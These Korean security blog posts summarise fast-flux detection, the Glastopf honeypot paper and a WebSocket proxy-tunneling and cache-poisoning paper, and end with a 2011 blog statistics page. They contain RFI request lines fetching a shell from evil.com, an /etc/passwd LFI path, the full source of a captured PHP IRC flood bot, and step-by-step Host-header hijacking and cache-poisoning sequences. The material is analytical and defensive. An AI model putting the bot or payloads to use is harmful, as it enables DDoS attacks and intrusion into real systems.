Fast-Flux 도메인 탐지 학술

이 글에서는 Fast Flux 서비스 네트워크가 무엇인고 어떻게 동작하는지, 어떻게 탐지하고 대응해야 하는지 다룬다. 현실에서 온라인 피싱사이트나 맬웨어 호스트에 대한 접근을 차단하기가 쉽지 않은데, 그 이유는 방화벽에서 특정 IP를 차단하더라도 DNS와 봇넷을 이용하여 계속해서 IP를 바꾸고 차단을 회피하여 살아남기 때문이다.

Fast Flux는 TTL을 매우 짧게 주고 도메인에 다수의 IP 주소를 매핑한다. 따라서 클라이언트는 같은 도메인이라 해도 매번 다른 IP 주소로 접속하게 된다. 공격자는 자신이 장악하고 있는 호스트(즉, 좀비)에 피싱 사이트, 스팸 사이트, 맬웨어 업데이트 서버 등을 운영하고, 도중에 복구되거나 차단되면서 제어권을 잃어버린 호스트들은 떨어내면서 Fast Flux 네트워크를 유지한다.

Fast Flux 도메인이 가리키는 호스트들은 프론트엔드 서버 혹은 프록시 역할을 할 뿐이고 실제로는 모선에 해당하는 C&C 서버로부터 데이터를 받아 서비스하게 된다. C&C 서버를 차단하면 전체 Fast Flux 네트워크를 셧다운 시킬 수 있겠지만, 한 단계 뒤에 숨어있는 C&C 서버를 찾아내기란 쉽지 않다. 공개된 자료에 의하면 단 두 대의 C&C 서버가 수천개의 Fast-Flux 도메인을 운영하면서 네트워크를 유지한 경우도 있었다고 한다.


위 도식은 honeynet.org에서 가져온 것으로, Single Flux 운영 방식을 보여주고 있다. 위와 같이 flux.example.com을 요청했을 때 네임서버가 좀비 PC의 IP 주소를 반환하고, 좀비가 C&C로부터 내려받은 악성 컨텐츠를 클라이언트에게 반환하는 방식을 Single Flux라 부른다.


Single Flux에서 한 단계 더 나아가면 Double Flux가 된다. Double Flux는 Authoritative 네임서버 도메인도 여러 개 등록해서 이중으로 Fast-Flux 네트워크를 구성하는 것을 의미한다.  이러한 구성을 하게 되면 더 추적과 차단이 어려워지고, 한 두 개 호스트가 단절된다고 해도 안정적으로 전체 네트워크가 유지되는 특성을 가지게 된다. 이들은 뒤에 숨어있는 C&C 서버만 관리하면 되므로 비용을 적게 들이고 차단을 회피하면서 악성 컨텐츠를 효과적으로 뿌릴 수 있다.

맬웨어들은 Fast Flux 네트워크를 이용해서 안정적으로 업데이트를 수행할 수 있게 되고, 각종 변종을 만들어내거나 DDoS 공격 명령을 수신하면서 움직일 수 있다. 어떤 맬웨어들은 시간의 흐름과 미리 정해진 규칙에 따라 도메인 이름을 동적으로 만들어내면서 접속을 시도하고 다운로드한다. 이 경우 미리 정해진 도메인 이름이 아니기 때문에 생성될 수 있는 모든 조합의 도메인을 차단하는 것도 어렵다. (만약 도메인 주소 생성 규칙을 알고 도메인을 미리 등록한다면 얼마나 많은 수의 호스트가 해당 맬웨어에 감염되었는지 파악할 수도 있을 것이다.) 

의심되는 도메인 주소를 확보했다면, 일정한 주기로 DNS 쿼리를 수행하면서 IP 주소 집합을 수집할 수 있다. 만약 TTL이 매우 짧고 비교적 최근에 등록된 도메인이면서 시간이 지남에 따라 전체 IP 주소 집합이 계속해서 증가한다면 이는 Fast Flux 도메인으로 규정할 수 있다. DNS 정보를 모니터링하면서 수집된 IP를 분석하면 외부에서도 어느 회사/조직이 감염되었는지 파악할 수 있을 뿐 아니라, 전체 봇넷의 크기를 유추할 수 있고, IP 집합의 유사성으로 각 악성 도메인 간의 연관 관계를 분석할 수 있다.

레퍼런스


Glastopf: 웹 애플리케이션 허니팟 학술

이 문서는 아래 paper를 정리한 것입니다.

1. 동기

현재 인터넷에서 시도되는 공격의 대부분이 웹 애플리케이션을 대상으로 한 것이다. 트래픽이 많은 웹사이트를 대상으로 집중적으로 공격하거나, 널리 사용되는 공개 웹 애플리케이션의 취약점을 선택하여 자동화된 대규모 공격을 수행하는 방식이 공격의 주류를 이루고 있다. 이러한 웹 공격에 대한 정보를 수집하고 분석하는데 사용되는 것이 웹 애플리케이션 허니팟이다.

Glastopf는 기존의 다른 허니팟들과 다른 접근 방식을 취하고 있다. 기존의 허니팟(HIHAT, DShield Web Honeypot, Google Hack Honeypot, PHPHop)들은 취약한 웹 애플리케이션들을 일부 패치하여 로깅을 추가하는 방식(템플릿 기반)을 사용하고 있다. 템플릿 기반 허니팟은 겉으로 보기에 진짜 취약한 애플리케이션처럼 보이고, 다단계에 걸친 공격(multistage attack)을 유도하여 좀 더 많은 정보를 끌어낼 수 있는 장점을 갖추고 있다. 그러나 애플리케이션 템플릿을 일일이 추가해야 하는 수고로움 때문에, 알려지지 않은 취약점이나 널리 사용되지 않는 애플리케이션에 대한 탐지를 수행하기 어렵다는 단점이 있다.

Glastopf는 자동화된 공격의 수집에 초점을 맞추어, 애플리케이션 템플릿을 사용하지 않고 최대한 자동화 공격 툴이 기대하는 응답을 보내어 정보를 수집하는 방식을 선택했다. 

2. 아키텍처

Glastopf는 크게 위와 같은 구조를 갖추고 있다. 공격이 발생하면 취약점을 에뮬레이트하고 정보를 수집하여 백엔드에 저장한 후 공격자에게 응답을 전송한다. Glastopf는 최소한의 기능을 가진 웹 서버를 구현하고, 들어오는 HEAD/GET/POST 요청에 대하여 간단한 패턴 매칭으로 대표적인 웹 취약점 공격(RFI, LFI, SQL 인젝션 등)을 선별한다.

가령 아래와 같은 HTTP 요청이 들어왔다고 한다면, 
GET http://example.com/vulnerable.php?color=http://evil.com/shell.php

애플리케이션에 대한 지식이 아무 것도 없더라도 매개변수에 http:// 로 시작되는 값이 들어오면 RFI 공격으로 짐작할 수 있다. 좀 더 자세한 흐름도를 보자.


GET 요청으로 RFI 공격을 시도한 경우 원격 include를 시도한 파일을 내려받아서 PHP 에뮬레이터로 실행하여 공격자가 기대하는 값을 보내준다. LFI 공격을 시도한 경우 가짜 파일(가령 ../../../etc/passwd에 대응하는 가짜 파일)을 보내준다. 자동화된 공격 도구는 기대하는 응답을 받게 되는 경우 후속 공격을 진행하게 된다. 주로 공격자가 웹쉘이나 PHP 봇 등을 업로드하려고 시도하면서 POST 요청이 들어올텐데 이를 디스크에 기록해둔다.

3. RFI Bot 예제

아래는 실제 수집된 RFI PHP 봇 샘플의 코드이다.
<?php
set_time_limit(0);

$socket = fsockopen("chat.freenode.net",6667);
fputs($socket,"USER PHPBot chat.freenode.net PHP :PHP Bot\n");
fputs($socket,"NICK PHPBot\n");
fputs($socket,"JOIN #glastopf\n");

while (1) {
  while ($data = fgets($socket,128)) {
    $get = explode(' ', $data);
    print_r($get);
    if ($get[0] == "PING") {
      fputs($socket, "PONG ".$get[1]."\n");
    }
    if ($get[1] == "PRIVMSG") {
      if ($get[3] == ".tcpflood") {
        // <target> <packets> <packetsize> <port> <delay>
        tcpflood($get[4],$get[5],$get[6],$get[7],$get[8]);
      }   
    }
  }
}

function tcpflood($host,$packets,$packetsize,$port,$delay) { 
  $packet = ""; 
  for($i=0;$i<$packetsize;$i++) 
    $packet .= chr(mt_rand(1,256)); 

  for($i=0;$i<$packets;$i++) { 
    if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) {
      return 0; 
    } 
    else { 
      fwrite($fp,$packet); 
     fclose($fp); 
    } 
    sleep($delay); 
  }
}
?>

살펴보면 IRC 채널에 접속해서 대기하고 있다가 tcpflood 명령이 들어오는 경우 지정된 목표에게 지정된 패킷 크기와 수로 DoS 공격을 수행하는 코드임을 알 수 있다. 취약한 웹 애플리케이션이 뚫리고 이런 PHP 봇이 올라오면 DDoS 공격에 이용될 수 있다.

4. Dork List의 자동생성과 배포

자동화 된 공격은 보통 웹 검색엔진을 이용한다. 가령 구글의 경우 inurl 지시자를 이용해서 특정 경로를 포함한 웹페이지를 검색할 수 있다. 이를 통해 후보 웹 페이지 목록을 자동으로 수집하고 공격을 시도하게 된다.

초기에는 honeypot의 인덱스 페이지에서 vulnerable.php에 대한 하이퍼링크만 제공할 것이고, 검색엔진이 이를 인덱싱하게 되면 공격이 들어오기 시작할 것이다. 이 때 자동화 공격 도구는 vulnerable.php에 대한 공격 뿐 아니라 다른 공격도 시도하게 될 수 있는데, 이 공격들을 DB에 추가하여 dork list를 자동으로 확장해나갈 수 있다. 

가령 GET http://example.com/hackme.php?color=http://evil.com/shell.php 이런 식으로 추가적인 공격 패턴이 보이는 경우 hackme.php를 허니팟 인덱스 페이지의 dork list에 추가하여 점점 더 많은 공격을 유도할 수 있게 되는 것이다. 이를 통해 잠재적인 다른 제로데이 취약점을 찾을 수도 있다.

5. 센서와 중앙 수집 데이터베이스

중앙 수집 데이터베이스는 MySQL DB를 백엔드로 쓰는 간단한 파이썬 스크립트로 되어있으며 다수의 glastopf 센서에서 전달하는 정보를 수집한다. 이 서버는 GEOIP 처리를 포함한 다양한 통계 가공과 샘플 저장 작업을 수행한다. 각 센서 인스턴스는 식별자로 구분되고, 공유 비밀키를 이용하여 암호화된 통신을 수행한다. 또한 각 센서는 신뢰도가 매겨지는데, 신뢰되지 않는 센서로부터 전달된 공격 데이터는 높은 신뢰도를 가진 센서의 공격 데이터로 검증하여 점점 신뢰도를 상승시키는 방식을 사용한다.

중앙 수집 데이터베이스를 이용하면 전세계의 센서로부터 데이터를 수집하므로 국가별 통계나 특정 취약점 공격이 얼마나 발생하고 있는지 쉽게 확인할 수 있다. 또한 ISP에게 공격에 이용당하는 서버의 목록을 메일로 자동 발송할 수 있다. 

아래와 같이 .htaccess 룰을 이용해서 간단하게 RFI 공격을 수집하는 센서를 추가로 구축할 수 있다.

Options +FollowSymlinks
RewriteEngine on
RewriteCond %{QUERY_STRING} ^.*(=[a-z0-9]{3,}:\/\/) [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(=([a-z0-9]+\.){1,2}[a-z0-9]{2,}) [NC]
RewriteRule ^(.+)$ http://www.htaccess2feeds.com/id1234/$1?%{QUERY_STRING}

여기에 더해서 워드프레스 플러그인으로 블로그를 간단한 honeypot으로 만들 수도 있게 개발하고 있다. 랜덤하게 10여개의 dork 하이퍼링크를 뿌리면서 공격자를 유인하고, 공격이 들어오면 .htaccess 설정으로 리다이렉트 시켜서 공격 정보를 수집한다.

6. 현재의 한계와 발전방향

취약점을 에뮬레이트 하는데 사용되는 PHP 엔진이 현재는 아주 간단한 형태의 문법과 로직만 지원할 수 있는 것으로 보인다. 완전한 PHP 인터프리터가 있어야 자주 사용되는 PHP 함수들을 에뮬레이트하고 공격자가 의도한 결과에 최대한 가까운 결과 응답을 보낼 수 있을 것이다. SQL 인젝션 등에 대해 로깅 외에 별다른 에뮬레이션이 없는 것도 현재의 한계점으로 보인다.

프록시를 도입하거나 템플릿 방식을 혼용하는 방식으로 좀 더 실제에 가까운 공격 유도를 기대해 볼 수 있겠고, 동적으로 mod_security 룰을 만들어내는 등 다양한 응용을 생각해 볼 수 있겠다.

웹 소켓 API를 이용한 터널링과 캐시 포이즈닝 학술

이 문서에서는 Talking to Yourself for Fun and Profit 논문에서 언급된 공격 벡터들을 다룬다. 최근까지 HTML5 WebSocket 명세가 계속해서 심하게 바뀌어왔는데, 특히 웹소켓 드래프트 구현체에서 발견된 네트워크 우회 공격 벡터가 큰 영향을 미쳤다. 이 때문에 한 때 Firefox 4.0에서는 웹소켓 구현을 기본적으로 비활성화하기도 하였으나, 최종적으로 표준으로 제안된 RFC6455 명세가 Firefox 11과 크롬 16 버전에서 지원되는 것으로 알려져있다.

자바 애플릿이나 플래시, 실버라이트와 같은 RIA 애플리케이션들은 모두 소켓 API를 지원한다. 웹소켓은 별도의 플러그인으로 제공되던 소켓 API를 웹 브라우저에 표준적으로 내장하려는 시도이다. 플러그인들이 소켓 API를 제공할 때에는 보안 문제를 야기하지 않도록, 컨텐츠를 다운로드한 서버로만 접속 가능하게 하거나 (자바 애플릿), 별도의 크로스도메인 정책 파일(crossdomain.xml 또는 clientaccesspolicy.xml)을 먼저 다운로드하여 허용된 위치로만 소켓으로 접속할 수 있도록 하는 방식(플래시, 실버라이트)으로 접근 제한을 수행한다. 게다가 실버라이트의 경우에는 TCP 4502-4532 범위로 포트 접속을 제한하고 있다.

이러한 접근제한 방식이 완전한 것은 아니어서, 예전에 DNS Rebind가 이슈가 되었던 적이 있다. 가령, 공격자의 웹사이트에서 내려받은 RIA 컨텐츠를 실행할 때 TCP 소켓 접속을 시도하면서 액세스 정책을 내려받은 시점에 DNS 캐시가 만료되고, 다시 DNS 조회하게 될 때 공격자가 방화벽으로 보호되는 내부 서버의 IP를 반환하여 일종의 터널을 만들 수 있다. 이 이슈는 정책을 내려받은 시점의 DNS 조회 결과를 사용하게 함으로써 해결할 수 있었다.

이 논문에서 제기한 취약점은 투명 프록시의 동작을 악용하는 것이다. 웹 캐싱/가속이나 L7 트래픽 필터링을 수행하는 네트워크 장비가 트래픽 관문에서 동작하는 경우가 많은데, 이런 류의 장비는 사용자가 존재유무를 인식할 수 없도록 투명하게 동작하기 때문에 투명 프록시(Transparent Proxy)라 불린다.

논문에서 가져온 아래 도식을 살펴보자.


그림 1은 IP 하이재킹의 과정을 나타낸 것이다. 만약 중간에 위치한 프록시가 Host 헤더를 기반으로 라우팅을 수행한다면 아래와 같은 순서대로 공격 가능하다.
  1. 공격자는 attacker.com:843으로 플래시 소켓 정책 서버를 운영하는데, 이 서버는 출발지에 관계없이 임의의 포트로 접근 가능한 액세스 정책을 반환한다.
  2. 공격자의 SWF가 IP 2.2.2.2를 가진 attacker.com:80으로 소켓 연결을 시도한다.
  3. 플래시 플레이어는 액세스 허용 여부를 결정하기 위해 먼저 공격자의 정책 서버에 접속하여 정책을 다운로드하고 정책에 따라 attacker.com:80에 대한 소켓 접속을 허용한다.
  4. 공격자의 SWF는 아래와 같이 HTTP 헤더 바이트를 쓴다:
    GET / HTTP/1.1
    Host: target.com
  5. 투명 프록시는 이를 HTTP로 해석하고 목적지 IP가 아닌 Host 헤더에 따라 라우팅을 수행한다. 즉, 요청이 1.1.1.1 IP를 가진 target.com:80으로 전달된다.
  6. 내부 클라이언트 IP 주소로부터 요청이 왔기 때문에 target.com 서버는 정상적으로 요청에 대한 응답을 반환한다. 내부 정보가 프록시를 거쳐 공격자의 SWF로 전달된다.
Host 헤더가 목적지 IP와 일치할 것이라는 가정이 깨졌기 때문에 이와 같은 공격이 가능하다. 만약 GET 대신 CONNECT를 쓴다면 방화벽을 우회하여 터널링도 가능해진다. 내부 클라이언트의 IP를 이용하기 때문에 내부망 출발지를 신뢰하는 보안 정책은 무용지물이 된다.


그림 2는 프록시의 캐시를 오염시키는 과정을 나타낸 것이다. 위의 경우에는 Host 헤더에 따라 라우팅한다고 가정했지만, 여기에서는 프록시가 경로 결정 과정에서 Host 헤더를 무시하고 원래의 목적지 IP에 따라 라우팅하는 경우를 상정한다. 이 경우에 IP 하이재킹으로부터는 안전하지만, 공격자가 의도한 임의의 URL로 프록시의 캐시를 오염시킬 수 있다.
  1. 공격자의 자바 애플릿이 attacker.com:80으로 연결을 시도한다.
  2. 이전 예와 마찬가지로 HTTP 요청을 전송한다. 
    GET /script.js HTTP/1.1
    Host: target.com
  3. 투명 프록시는 이를 HTTP 요청으로 해석하고 원래 목적지 IP로 라우팅한다. 즉, 공격자의 서버로 HTTP 요청이 전달된다.
  4. 공격자는 Expires 헤더를 매우 길게 잡아서 악성 스크립트 파일을 반환한다.
  5. 프록시는 Host 헤더를 기준으로 캐시하기 때문에 원래 http://attacker.com/script.js 이지만 프록시에 http://target.com/script.js로 캐시된다.
  6. 이제 해당 프록시를 통과하는 모든 클라이언트가 악성 스크립트를 받게 된다.
이전 HTML5 웹소켓 드래프트 명세들도 위의 모든 문제들을 가지고 있었으며, 최종 버전에서는 XOR 마스킹을 이용하여 공격자가 제어 가능한 바이트 영역을 없애버렸다. 자세한 내용은 RFC 6455를 참고하기 바란다.

2011년 내 이글루 결산

2011 내 이글루 결산

1년동안 작성한 xeraph님의 결산내역입니다. 이글루에 포스팅하여 공유해보세요.
본문이 500px 이하인 스킨은 지원하지 않아 포스트가 잘려보일 수 있습니다.
결산기간 : 2011년 12월 26일~ 2012년 1월 9일

포스트[76]

  12 11 13 3 7 5 3 5 6 6 5  
  1월 2월 3월 4월 5월 6월 7월 8월 9월 10월 11월 12월  

덧글[127]

  5 11 16 36 2 5 9 4 6 7 14 12  
  1월 2월 3월 4월 5월 6월 7월 8월 9월 10월 11월 12월  

트랙백[3]

  0 1 1 0 1 0 0 0 0 0 0 0  
  1월 2월 3월 4월 5월 6월 7월 8월 9월 10월 11월 12월  

핑백[0]

2011년 한 해 동안 받은 핑백이 없습니다.
  1월 2월 3월 4월 5월 6월 7월 8월 9월 10월 11월 12월  

내가 보낸 글 통계[52]

  21 31 0 0 0 0  
  테마 태그 가든 보낸트랙백 보낸핑백 블로거뉴스  

포스트 수 비교

 (2010년 포스트 : 363개)
2010 2010  2011 2011
  38 12 21 11 23 13 23 3 42 7 57 5 45 3 37 28 5 24 6 9 6 16 5  
  1월 2월 3월 4월 5월 6월 7월 8월 9월 10월 11월 12월  

명예의 전당

1년동안 작성한 글

200자 원고지 기준으로 1,124장 분량이며, 원고 두께는 약 8cm 입니다.
1년 동안의 글을 문고판 시리즈로 낸다면 6권까지 낼 수 있겠네요. xeraph님은 올 한해 이글루스에서 8,451번째로 게시물을 가장 많이 작성하셨네요.

자주 등록한 태그&대표글 TOP5

  1. 1위: kraken(146회) | Kraken Iptables
  2. 2위: lisp(4회) | ANSI Common Lisp 2장. 리스트
  3. 3위: maven(4회) | Maven 3.0 관련 scp deploy ...
  4. 4위: kraken-...(3회) | 웹콘솔 번들 관리자

자주 발행한 밸리&대표글 TOP5

  1. 1위: IT(14회) | [Future ASF 2011] WeGuar...
  2. 2위: 애완반려동물(6회) | 봄봄 숨바꼭질

내 이글루 인기글

  1. 가장 많이 읽힌 글은 Cassandra 슬쩍 ... 입니다.
  2. 가장 대화가 활발했던 글은 망한 졸업사정 ㅠ 입니다.
  3. (덧글9개, 트랙백0개, 핑백0개)

내 이글루 활동 TOP5

  1. 1위: killy (31회)
  2. 2위: scynuri (7회)
  3. 3위: 앰창용 (7회)
  4. 4위: 흑곰 (5회)
  5. 5위: 성큼이 (4회)
내 이글루결산
하도 바쁘다보니 블로깅이 이리 저조하다.. 2010년하고 비교 막대봐라.. 얼마나 정신없이 살았던지 -_-

1 2 3 4 5 6 7 8 9 10 다음